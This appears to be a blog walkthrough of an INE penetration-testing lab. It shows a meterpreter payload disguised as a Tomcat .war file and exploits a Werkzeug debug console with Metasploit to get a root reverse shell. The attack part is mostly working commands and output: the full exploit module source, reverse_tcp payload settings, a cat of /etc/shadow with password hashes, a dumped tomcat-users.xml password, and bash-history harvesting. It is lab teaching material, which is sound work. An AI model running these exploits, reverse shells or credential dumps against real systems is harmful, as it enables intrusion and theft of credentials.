    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr/pentesting-box1]
    └─$ 
    
    
    

     

    Now, let's rename the payload, by appending a war extension at the end. What will happen, is that the structure of the file will not change, however, appending the .war extension will allow us to upload it to the tomcat server - as it will think it is a deployable .war archive!


    mv meter meter.war

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr/pentesting-box1]
    └─$ mv meter meter.war                                                                          
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr/pentesting-box1]
    └─$ 
    


     

    Try to deploy the fake .war file as you previously did with the web shell, by first going back to the /manager/html page.

     

     

     

    Black Box Penetration Testing Security Misconfiguration

     

    It is still a valid executable file though. We can use our previously deployed web shell to rename it back to meter as was uploaded to Tomcat's default directory. This can be confirmed by viewing it via the web shell, as follows.

    ls -la /var/lib/tomcat8/webapps

     



    Let's rename meter.war through the web shell, as follows. Also, we need to make sure it is executable by using the chmod command in the end

    # mv /var/lib/tomcat8/webapps/meter.war /tmp/meter
    # ls /tmp/meter
    # chmod +x /tmp/meter

     

     

    Then we can run it, as follows.

    /tmp/meter

     

    A new meterpreter session should open.

     

     

    Black Box Penetration Testing Security Misconfiguration

     

     

    This is an example of how the upload mechanism can be misused in order to obtain a fully functional reverse shell even security misconfiguration.

     

    Even if you go to the conf directory and see the tomcat-users.xml then you are able to see the biggest security misconfiguration by developer...


    username and password -

     

    meterpreter > ls
    Listing: /var/lib/tomcat8                                                                                                                 
    =========================                                                                                                            
                                                                                                                                         
    Mode             Size  Type  Last modified              Name                                                   
    ----             ----  ----  -------------              ----                                                   
    40755/rwxr-xr-x  4096  dir   2020-03-27 13:37:26 +0530  conf                                                                      
    40755/rwxr-xr-x  4096  dir   2020-03-27 12:54:20 +0530  lib                                                                       
    40750/rwxr-x---  4096  dir   2022-01-18 19:29:03 +0530  logs                                                                      
    40775/rwxrwxr-x  4096  dir   2022-01-18 19:48:12 +0530  webapps                                                                   
    40750/rwxr-x---  4096  dir   2020-03-27 12:54:22 +0530  work
    
    meterpreter > cd conf
    meterpreter > ls
    Listing: /etc/tomcat8
    =====================
    
    Mode              Size    Type  Last modified              Name
    ----              ----    ----  -------------              ----
    40775/rwxrwxr-x   4096    dir   2020-03-27 12:54:20 +0530  Catalina
    100640/rw-r-----  7294    fil   2020-03-27 12:54:20 +0530  catalina.properties
    100640/rw-r-----  1577    fil   2020-03-27 12:54:20 +0530  context.xml
    100640/rw-r-----  2370    fil   2020-03-27 12:54:20 +0530  logging.properties
    40755/rwxr-xr-x   4096    dir   2020-03-27 12:54:20 +0530  policy.d
    100640/rw-r-----  6523    fil   2020-03-27 12:54:20 +0530  server.xml
    100640/rw-r-----  1773    fil   2020-03-27 13:37:26 +0530  tomcat-users.xml
    100640/rw-r-----  169861  fil   2020-03-27 12:54:20 +0530  web.xml
    
    meterpreter > pwd
    /etc/tomcat8
    meterpreter > 
    meterpreter > cat tomcat-users.xml
    
    
    <tomcat-users version="1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://tomcat.apache.org/xml" xsi:schemalocation="http://tomcat.apache.org/xml tomcat-users.xsd">
    
    
    
      <role rolename="tomcat">
      <role rolename="role1">
     
      <user password="s3cret" roles="manager,manager-gui,tomcat,role1" username="tomcat">
    
    
    </user></role></role></tomcat-users>
    meterpreter > 
    meterpreter > 
    meterpreter > 
    
    
    
    
    

     

    Black Box Penetration Testing Security Misconfiguration

     

     

    Also read security misconfiguration (practical) - CLICK HERE


    Thank you - 

     

     


    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.


  • Black-box Penetration Testing

     

    Black-box Penetration Testing

     

    Find and exploit vulnerable applications and services 

     

    The final goal of the blog is to tell you learn to find and exploit vulnerable applications and services primarily using the Metasploit Framework and use other popular scanning utilities like dirb along the way.

    This exercise will help you understand how to fingerprint an application and identify its vulnerabilities. You would also perform enumeration attacks to find weaknesses in the provided applications and perform privilege escalation. how to find a flag information from the target machine such as shares, users, groups and so on! Moreover by navigating the remote machine, you should be able to find a file name "Congratulations.txt\". Download it and explore its content. 

    There are three machines can be accessed using the tools installed on Kali on server1.ine.local, server2.ine.local and server3.ine.local.



    Tools


    The best tools for this lab are:

    # cURL
    # dirb
    # Nmap
    # Metasploit Framework
    # A Web Browser

     

     


    First of all we are Check the provided machines/domains are reachable or not.


    Commands:

    ping -c 2 server1.ine.local
    ping -c 2 server2.ine.local
    ping -c 2 server3.ine.local 

     

     

    root@INE:~# ping -c 2 server1.ine.local
    PING server1.ine.local (192.251.63.3) 56(84) bytes of data.
    64 bytes from target-1 (192.251.63.3): icmp_seq=1 ttl=64 time=0.111 ms
    64 bytes from target-1 (192.251.63.3): icmp_seq=2 ttl=64 time=0.049 ms
    
    --- server1.ine.local ping statistics ---
    2 packets transmitted, 2 received, 0% packet loss, time 1028ms
    rtt min/avg/max/mdev = 0.049/0.080/0.111/0.031 ms
    root@INE:~# 
    root@INE:~# ping -c 2 server2.ine.local
    PING server2.ine.local (192.251.63.4) 56(84) bytes of data.
    64 bytes from target-2 (192.251.63.4): icmp_seq=1 ttl=64 time=0.094 ms
    64 bytes from target-2 (192.251.63.4): icmp_seq=2 ttl=64 time=0.077 ms
    
    --- server2.ine.local ping statistics ---
    2 packets transmitted, 2 received, 0% packet loss, time 1024ms
    rtt min/avg/max/mdev = 0.077/0.085/0.094/0.008 ms
    root@INE:~# 
    root@INE:~# ping -c 2 server3.ine.local
    PING server3.ine.local (192.251.63.5) 56(84) bytes of data.
    64 bytes from target-3 (192.251.63.5): icmp_seq=1 ttl=64 time=0.136 ms
    64 bytes from target-3 (192.251.63.5): icmp_seq=2 ttl=64 time=0.063 ms
    
    --- server3.ine.local ping statistics ---
    2 packets transmitted, 2 received, 0% packet loss, time 1024ms
    rtt min/avg/max/mdev = 0.063/0.099/0.136/0.036 ms
    root@INE:~# 
    
    
    
    

     




    The all machines are reachable, and we also found their IP addresses, as you can see.


    Now we scan the network to discover the services running on them. Now let's find all the services on the provided target machines:


    Command:

    nmap -sV --script=banner 192.73.96.0/24
     

     

    root@INE:~# nmap -sV --script=banner 192.251.63.0/24
    Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-08 19:34 IST
    Nmap scan report for linux (192.251.63.1)
    Host is up (0.0000060s latency).
    Not shown: 997 closed ports
    PORT    STATE    SERVICE VERSION
    22/tcp  open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    |_banner: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3
    80/tcp  filtered http
    443/tcp filtered https
    MAC Address: 02:42:90:10:ED:CE (Unknown)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Nmap scan report for target-1 (192.251.63.3)
    Host is up (0.0000080s latency).
    Not shown: 999 closed ports
    PORT   STATE SERVICE VERSION
    80/tcp open  http    Werkzeug httpd 0.9.6 (Python 2.7.13)
    MAC Address: 02:42:C0:FB:3F:03 (Unknown)
    
    Nmap scan report for target-2 (192.251.63.4)
    Host is up (0.0000080s latency).
    Not shown: 999 closed ports
    PORT     STATE SERVICE VERSION
    3306/tcp open  mysql   MySQL 5.5.62-0ubuntu0.14.04.1
    | banner: [\x00\x00\x00\x0A5.5.62-0ubuntu0.14.04.1\x00-\x00\x00\x00N1FL,5
    |_d{\x00\xFF\xF7\x08\x02\x00\x0F\x80\x15\x00\x00\x00\x00\x00\x00\x00\x...
    MAC Address: 02:42:C0:FB:3F:04 (Unknown)
    
    Nmap scan report for target-3 (192.251.63.5)
    Host is up (0.0000080s latency).
    Not shown: 998 closed ports
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.5 (Ubuntu Linux; protocol 2.0)
    |_banner: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.5
    8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
    |_http-server-header: Apache-Coyote/1.1
    MAC Address: 02:42:C0:FB:3F:05 (Unknown)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Nmap scan report for INE (192.251.63.2)
    Host is up (0.0000040s latency).
    Not shown: 998 closed ports
    PORT     STATE SERVICE       VERSION
    3389/tcp open  ms-wbt-server xrdp
    5910/tcp open  vnc           VNC (protocol 3.8)
    |_banner: RFB 003.008
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 256 IP addresses (5 hosts up) scanned in 41.56 seconds
    root@INE:~# 
    
    
    
    
    

    -sV for service and their version information.



    --script=banner
    is an Nmap script that will connect to an open TCP port and print out anything that is sent by the service within five seconds. That's that service banner.




    We can observe that there are three machines in the subnet excluding the provided Kali instance and gateway.

    # The first machine, having IP
    192.73.96.3
    is running the Werkzeug httpd service,

    # The second machine, having IP
    192.73.96.4
    is running the MySQL server, and

    # The third machine, having IP
    192.73.96.5
    is running OpenSSH and Apache Tomcat server.



    Note: The IP addresses would be different in your case, so make sure you use the correct IP address, otherwise the commands might not give the expected results!

    After running the Nmap banner script we would know the names and the versions of the services on all the provided machines.

    And since we know of all the details now, we will begin with the exploitation part.

    Let's first target the
    Werkzeug httpd 0.9.6 = server1.ine.local

     

     


    Exploiting Werkzeug httpd service


    We already know the version of Werkzeug. So let's use that information to search for any publicly available exploits using searchsploit.

    Information: As mentioned on the page for searchsploit on Exploit-DB

    {Searchsploit}, a command line search tool for Exploit-DB that also allows you to take a copy of Exploit Database with you, everywhere you go. SearchSploit gives you the power to perform detailed off-line searches through your locally checked-out copy of the repository. This capability is particularly useful for security assessments on segregated or air-gapped networks without Internet access.

    So using searchsploit, one can quickly look for exploits from the copy of the Exploit Database available offline on your machine (Kali instance in this case). Let's look for exploits available for werkzeug:



    Command:

    searchsploit werkzeug

     

     

     

    root@INE:~# searchsploit Werkzeug
    ------------------------------------------------------------------------------ ---------------------------------
     Exploit Title                                                                |  Path
    ------------------------------------------------------------------------------ ---------------------------------
    Werkzeug - 'Debug Shell' Command Execution                                    | multiple/remote/43905.py
    Werkzeug - Debug Shell Command Execution (Metasploit)                         | python/remote/37814.rb
    ------------------------------------------------------------------------------ ---------------------------------
    Shellcodes: No Results
    Papers: No Results
    root@INE:~# 
    
    

     

     


    We can notice that there is a Metasploit module for werkzeug. But we need to make sure that this exploit works against Werkzeug version 0.9.6.

    The suggested ruby exploit is located at -
    /usr/share/exploitdb/exploits/python/remote/37814.rb
    .

    Inspect this file to determine if the current version of werkzeug is vulnerable to the "Debug Shell" command execution or not:

     

    Command:

    cat /usr/share/exploitdb/exploits/python/remote/37814.rb
     

     

    root@INE:~# cat /usr/share/exploitdb/exploits/python/remote/37814.rb
    ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    require 'rex'
    
    class Metasploit4 < Msf::Exploit::Remote
    
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Werkzeug Debug Shell Command Execution',
          'Description'    => %q{
            This module will exploit the Werkzeug debug console to put down a
            Python shell. This debugger "must never be used on production
            machines" but sometimes slips passed testing.
    
            Tested against:
              0.9.6 on Debian
              0.9.6 on Centos
              0.10  on Debian
          },
          'Author'         => 'h00die <mike[at]shorebreaksecurity.com>',
          'References'     =>
            [
              ['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger']
            ],
          'License'        => MSF_LICENSE,
          'Platform'       => ['python'],
          'Targets'        => [[ 'werkzeug 0.10 and older', {}]],
          'Arch'           => ARCH_PYTHON,
          'DefaultTarget'  => 0,
          'DisclosureDate' => 'Jun 28 2015'
        ))
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'URI to the console', '/console'])
          ], self.class
        )
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri'    => normalize_uri(datastore['TARGETURI'])
        )
    
        # https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67
        if res && res.body =~ /Werkzeug powered traceback interpreter/
          return Exploit::CheckCode::Appears
        end
    
        Exploit::CheckCode::Safe
      end
    
      def exploit
        # first we need to get the SECRET code
        res = send_request_cgi(
          'method' => 'GET',
          'uri'    => normalize_uri(datastore['TARGETURI'])
        )
    
        if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/
          secret = $1
          vprint_status("Secret Code: #{secret}")
          send_request_cgi(
            'method'   => 'GET',
            'uri'      => normalize_uri(datastore['TARGETURI']),
            'vars_get' => {
              '__debugger__' => 'yes',
              'cmd'          => payload.encoded,
              'frm'          => '0',
              's'            => secret
            }
          )
        else
          print_error('Secret code not detected.')
        end
      end
    
    endroot@INE:~# 
    root@INE:~# 
    root@INE:~# 
    root@INE:~# 
    
    
    
    
    

     



    As you can clearly see, Werkzeug version 0.9.6 is vulnerable to command execution.

    Now that we have identified the running application and discovered the vulnerability, we will exploit it next.




    Searching for Werkzeug exploit modules in the Metasploit Framework.

    Start Metasploit framework and search for werkzeug exploit modules:



    Commands:

    msfconsole -q
    search werkzeug


    The above set of commands would start metasploit in quiet mode (that is, we won't get a big banner) and then look for werkzeug related exploit modules.
     

     

    root@INE:~# msfconsole -q
    msf6 > saerch werkzeug
    [-] Unknown command: saerch.
    msf6 > search werkzeug
    
    Matching Modules
    ================
    
       #  Name                                   Disclosure Date  Rank       Check  Description
       -  ----                                   ---------------  ----       -----  -----------
       0  exploit/multi/http/werkzeug_debug_rce  2015-06-28       excellent  Yes    Werkzeug Debug Shell Command Execution
    
    
    Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/werkzeug_debug_rce
    
    msf6 > 
    
    

    Notice that there is a Metasploit module for Werkzeug. We will use this for exploitation in the subsequent steps.


    Checking


    werkzeug_debug_rce
    module options.


    Let's use the identified werkzeug module:

    exploit/multi/http/werkzeug_debug_rce

    and list the options that we need to configure for this module.



    Commands:

    use exploit/multi/http/werkzeug_debug_rce
    show options


     


    msf6 > use exploit/multi/http/werkzeug_debug_rce
    [*] Using configured payload python/meterpreter/reverse_tcp
    msf6 exploit(multi/http/werkzeug_debug_rce) > show options
    
    Module options (exploit/multi/http/werkzeug_debug_rce):
    
       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
       RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
       RPORT      80               yes       The target port (TCP)
       SSL        false            no        Negotiate SSL/TLS for outgoing connections
       TARGETURI  /console         yes       URI to the console
       VHOST                       no        HTTP server virtual host
    
    
    Payload options (python/meterpreter/reverse_tcp):
    
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST  10.1.0.8         yes       The listen address (an interface may be specified)
       LPORT  4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   werkzeug 0.10 and older
    
    
    msf6 exploit(multi/http/werkzeug_debug_rce) > 
    
    


     






    The following options are to be set:


    # RHOSTS
    : It's the IP or URL of the target machine. In our case, it's server1.ine.local, where the werkzeug service is running.


    # PORT
    : is set to 80 by default, for this module. Since the service is running on port 80 on the target machine, nothing needs to be done.


    # PAYLOAD
    : Set it to
    python/meterpreter/reverse_tcp
    to get back the meterpreter shell session.


    # LHOST
    : Set it to the IP address of the host machine (the Kali GUI instance), where we expect to receive back the meterpreter shell session, that is, 192.73.96.2. But this IP might be different in your case, so make sure you set it properly. Otherwise the exploit won't work!


    #LPORT
    : Set it to a port where we expect to receive back the meterpreter shell session. Let's keep it at it's default value.




    Now that we know of all the options and the values we need to fill in, let's do that next.



    Configuring the selected werkzeug module and exploiting the application.


    Use the following commands to configure the module and exploit the werkzeug application:


    Commands:

    set RHOSTS 192.73.96.3
    set LHOST 192.73.96.2
    check
    exploit


    The {check} command would check if the service on the target is vulnerable to this exploit or not, instead of actually exploiting it. And the
    {exploit} command would exploit the service, provided that it's vulnerable.




     

    msf6 exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.251.63.3
    RHOSTS => 192.251.63.3
    msf6 exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.251.63.2
    LHOST => 192.251.63.2
    msf6 exploit(multi/http/werkzeug_debug_rce) > check
    [*] 192.251.63.3:80 - The target appears to be vulnerable.
    msf6 exploit(multi/http/werkzeug_debug_rce) > exploit
    
    [*] Started reverse TCP handler on 192.251.63.2:4444 
    [*] Sending stage (39328 bytes) to 192.251.63.3
    [*] Meterpreter session 1 opened (192.251.63.2:4444 -> 192.251.63.3:50918) at 2022-01-08 19:44:24 +0530
    
    meterpreter >
    

     


    Notice that the werkzeug application has been successfully exploited and we have received back a meterpreter shell.

    Let's check the privilege of the meterpreter shell session:


    Command:

    getuid



     

    meterpreter > getuid
    Server username: root
    meterpreter >
    
    

     



    As shown in the above output, we have root user privileges!

    Now that we have gained a shell session on the target machine, the very first thing would be to look for the existing users, sensitive files/data like hardcoded credentials, etc. We can use popular scripts like LinEnum to quickly identify all possible information related to users and system configurations. This will greatly speed up the process and reduce the manual work that we need to otherwise perform.

    We will choose to go with the manual route to show you the complete process but you can use LinEnum as well. It's already available in the Kali GUI instance.

     

    Checking available users on the target machine


    Since we are root, we can check the contents of
    /etc/shadow
    file and find the list of all the users, their home directories and even their password hashes:

     

    Command:

    cat /etc/shadow

     

     

    meterpreter > cat /etc/shadow
    root:*:17847:0:99999:7:::
    daemon:*:17847:0:99999:7:::
    bin:*:17847:0:99999:7:::
    sys:*:17847:0:99999:7:::
    sync:*:17847:0:99999:7:::
    games:*:17847:0:99999:7:::
    man:*:17847:0:99999:7:::
    lp:*:17847:0:99999:7:::
    mail:*:17847:0:99999:7:::
    news:*:17847:0:99999:7:::
    uucp:*:17847:0:99999:7:::
    proxy:*:17847:0:99999:7:::
    www-data:*:17847:0:99999:7:::
    backup:*:17847:0:99999:7:::
    list:*:17847:0:99999:7:::
    irc:*:17847:0:99999:7:::
    gnats:*:17847:0:99999:7:::
    nobody:*:17847:0:99999:7:::
    _apt:*:17847:0:99999:7:::
    messagebus:*:17918:0:99999:7:::
    alice:$6$aZ5kKJDK$DYrxGfkRSaNtXX7Y/.nvOOW6Eia8NRMK8qOwOzKs4zS7hBJNLtskOItlvAU73ObAkcCQScPYQ3g4mp6dhZ/mn/:17918:0:99999:7:::
    bob:$6$M9PvEKzJ$qAUlghqIu6bsmeP0yTjML6tfBcFmAo5WCnqcDBLY0GUUsTWW0h7QcH8UrPSy2WX9hPl96VT8FUw.11enoCvCW1:17918:0:99999:7:::
    jennifer:$6$mztY.nYU$QMMLDul0.6kZxdKMgvx9o5EnYZTXqGu9DfZFKlpSUCW.wpVtrEecuLK9F615HV8Co0Xnbukyhct5HN5AixvRG1:17918:0:99999:7:::
    ashish:$6$8CSFjvda$HCJkOhOfwHY7RXfrkXKVZSg/IDnTqtRHXoCMBciTULFNPhejN4hMJzz.0.d/qewW4tkYzoB6kh3haXnLwHZOp0:17918:0:99999:7:::
    nick:$6$vRZjfYC0$LGizUHyA4fXiYBPRK1G8jxYpU6C2U8EtZqKuBZG0c7eOU5eQ4itOOJeJaqrR1.waODY8dWZemGM7mOf0SKpmT.:17918:0:99999:7:::
    peter:$6$I9ySlhCn$BOl3RADjJkj173jLK2iHf0PqQODKvs/awwm8/aAFToj71Q2O2kVFC51Pt.ZC4.YlScYxrQkCnBq.ldciFnNsw0:17918:0:99999:7:::
    auditor:$6$1dhn1A57$9Nf4hWqgsqwNKMK0j80t6e4G5Kj/7eUs1QX3Hr2RNrr0ZxjEwsGNkB5GhPq9VMbZ.QAIOwirF2yJnoBBFRBW8.:17918:0:99999:7:::
    meterpreter > 
    

     

     

    A total of seven users are present on the target machine.

    We could now check their home directory to find interesting files or alternatively leverage interesting modules such as - post/linux/gather/enum_users_history
    .


    Using the enum_users_history

    Metasploit post exploit module to find the user's history file.

    Let's use the Linux user shell history enumeration module to find and dump the user's history.


    Information: When a user enters any command in the terminal, by default it gets logged in the
    .bash_history
    file in the user's home directory. And that's one of the things that this module can retrieve for us!


    As mentioned in the Linux Post Gather Modules description: The
    enum_users_history
    module gathers user specific information. User list, bash history, mysql history, vim history, lastlog and sudoers.


    Now let's background the meterpreter session and run the
    enum_users_history
    module:


    Commands:

    background
    use post/linux/gather/enum_users_history
    set SESSION 1
    run

     

    meterpreter > background
    [*] Backgrounding session 1...
    msf6 exploit(multi/http/werkzeug_debug_rce) > use post/linux/gather/enum_users_history
    msf6 post(linux/gather/enum_users_history) > set SESSION 1
    SESSION => 1
    msf6 post(linux/gather/enum_users_history) > run
    
    [+] Info:
    [+] 	Debian GNU/Linux 9  
    [+] 	Linux server1.ine.local 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 GNU/Linux
    [-] Failed to open file: /root/.ash_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /root/.bash_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /root/.csh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /root/.ksh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/alice/.ksh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/alice/.sh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/alice/.tcsh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/alice/.zsh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/alice/.mysql_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/alice/.psql_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/alice/.dbshell: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/alice/.viminfo: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/bob/.ash_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/bob/.bash_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/bob/.csh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/bob/.ksh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/bob/.sh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/bob/.tcsh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/nick/.ash_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/nick/.bash_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/nick/.csh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/nick/.ksh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/nick/.sh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/nick/.tcsh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/nick/.zsh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/nick/.mysql_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/nick/.psql_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/nick/.dbshell: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/nick/.viminfo: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/peter/.ash_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/peter/.bash_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/peter/.csh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/peter/.ksh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/peter/.sh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/peter/.tcsh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/peter/.zsh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/peter/.mysql_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/peter/.psql_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/peter/.dbshell: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/peter/.viminfo: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/auditor/.ash_history: 4: Operation failed: Python exception: IOError
    [+] bash history for auditor stored in /root/.msf4/loot/20220108194714_default_192.251.63.3_linux.enum.users_987099.txt
    [-] Failed to open file: /home/auditor/.csh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/auditor/.ksh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/auditor/.sh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/auditor/.tcsh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/auditor/.zsh_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/auditor/.mysql_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/auditor/.psql_history: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/auditor/.dbshell: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /home/auditor/.viminfo: 4: Operation failed: Python exception: IOError
    [-] Failed to open file: /etc/sudoers: 4: Operation failed: Python exception: IOError
    [+] Last logs stored in /root/.msf4/loot/20220108194715_default_192.251.63.3_linux.enum.users_593170.txt
    [*] Post module execution completed
    msf6 post(linux/gather/enum_users_history) > 
    
    
    

     


    Notice that the shell history for the user auditor is available. The contents of that file have been downloaded to the Kali instance in the file:
    /root/.msf4/loot/20211117160325_default_192.73.96.3_linux.enum.users_287331.txt


    Hunting for sensitive information in the auditor user's bash history file.


    Command:

    cat /root/.msf4/loot/20211117160325_default_192.73.96.3_linux.enum.users_287331.txt

     

     

    root@INE:~/.msf4/loot# ls
    20220108194714_default_192.251.63.3_linux.enum.users_987099.txt
    20220108194715_default_192.251.63.3_linux.enum.users_593170.txt
    root@INE:~/.msf4/loot# cat 20220108194714_default_192.251.63.3_linux.enum.users_987099.txt
    ls
    whoami
    echo "0.0.0.0" /etc/hosts
    ls -a
    wl
    wget http://192.168.55.1/points.txt
    admin
    wget
    wget --help
    ls
    whoami
    echo "0.0.0.0" /etc/hosts
    ls -a
    wl
    wget http://192.168.55.1/points.txt
    admin
    wget
    wget --help
    ls
    whoami
    echo "0.0.0.0" /etc/hosts
    ls -a
    wl
    wget http://192.168.55.1/points.txt
    admin
    wget
    wget --help
    ls
    whoami
    echo "0.0.0.0" /etc/hosts
    ls -a
    wl
    wget http://192.168.55.1/points.txt
    admin
    wget
    wget --help
    ls
    whoami
    echo "0.0.0.0" /etc/hosts
    ls -a
    wl
    wget http://192.168.55.1/points.txt
    admin
    wget
    wget --help
    ls
    whoami
    echo "0.0.0.0" /etc/hosts
    ls -a
    wl
    wget http://192.168.55.1/points.txt
    admin
    wget
    wget --help
    passwd auditor
    sudo su
    cat /etc/passwd
    cat /etc/shadow
    cp /home/auditor/test /tmp
    cd /tmp/
    cd logstalgia-1.0.3/
    ./configure
    sudo passwd root
    apt-get install libsdl1.2-dev libsdl-image1.2-dev libpcre3-dev libftgl-dev libpng12-dev libjpeg62-dev make gcc
    ./configure
    make
    apt-get install libsdl1.2-dev libsdl-image1.2-dev libpcre3-dev libftgl-dev libpng12-dev libjpeg62-dev make gcc++
    apt-get install libsdl1.2-dev libsdl-image1.2-dev libpcre3-dev libftgl-dev libpng12-dev libjpeg62-dev make gcc
    apt-get install make
    mysql -u root -p
    apt-get install grsync
    apt-get install unison
    unison
    PS1='\e[1;35m[\u@\h \w]$ \e[m 'PS1="\e[0;32m[\u@\h \W]$ \e[m "
    sudo apt install curl
    curl -sL https://deb.nodesource.com/setup_10.x | sudo bash -
    curl -sL https://deb.nodesource.com/setup_8.x | sudo bash -
    sudo apt install nodejs
    curl -sL https://raw.githubusercontent.com/creationix/nvm/v0.33.8/install.sh -o install_nvm.sh
    apt-get update
    apt-get install -y --force-yes build-essential curl git
    apt-get install -y --force-yes zlib1g-dev libssl-dev libreadline-dev libyaml-dev libxml2-dev libxslt-dev
    git clone https://github.com/sstephenson/rbenv.git /root/.rbenv
    git clone https://github.com/sstephenson/ruby-build.git /root/.rbenv/plugins/ruby-build
    /root/.rbenv/plugins/ruby-build/install.sh
    /root/.rbenv/bin:$PATH
    echo 'eval "$(rbenv init -)"' >> /etc/profile.d/rbenv.sh # or /etc/profile
    echo 'eval "$(rbenv init -)"' >> .bashrc
    export CONFIGURE_OPTS --disable-install-doc
    ADD ./versions.txt /root/versions.txt
    xargs -L 1 rbenv install < /root/versions.txt
    echo 'gem: --no-rdoc --no-ri' >> /.gemrc
    bash -l -c 'for v in $(cat /root/versions.txt); do rbenv global $v; gem install bundler; done'
    sudo apt-get update
    sudo apt-get install default-jre
    sudo apt-get install oracle-java9-installer
    sudo update-alternatives --config java
    sudo update-alternatives --config java
    sudo nano /etc/environment
    source /etc/environment
    echo $JAVA_HOME
    sudo groupadd tomcat
    sudo useradd -s /bin/false -g tomcat -d /opt/tomcat tomcat
    curl -O http://apache.mirrors.ionfish.org/tomcat/tomcat-8/v8.5.5/bin/apache-tomcat-8.5.5.tar.gz
    sudo mkdir /opt/tomcat
    sudo tar xzvf apache-tomcat-8*tar.gz -C /opt/tomcat --strip-components=1
    cd /opt/tomcat
    sudo chgrp -R tomcat /opt/tomcat
    sudo chmod -R g+r conf
    sudo chmod g+x conf
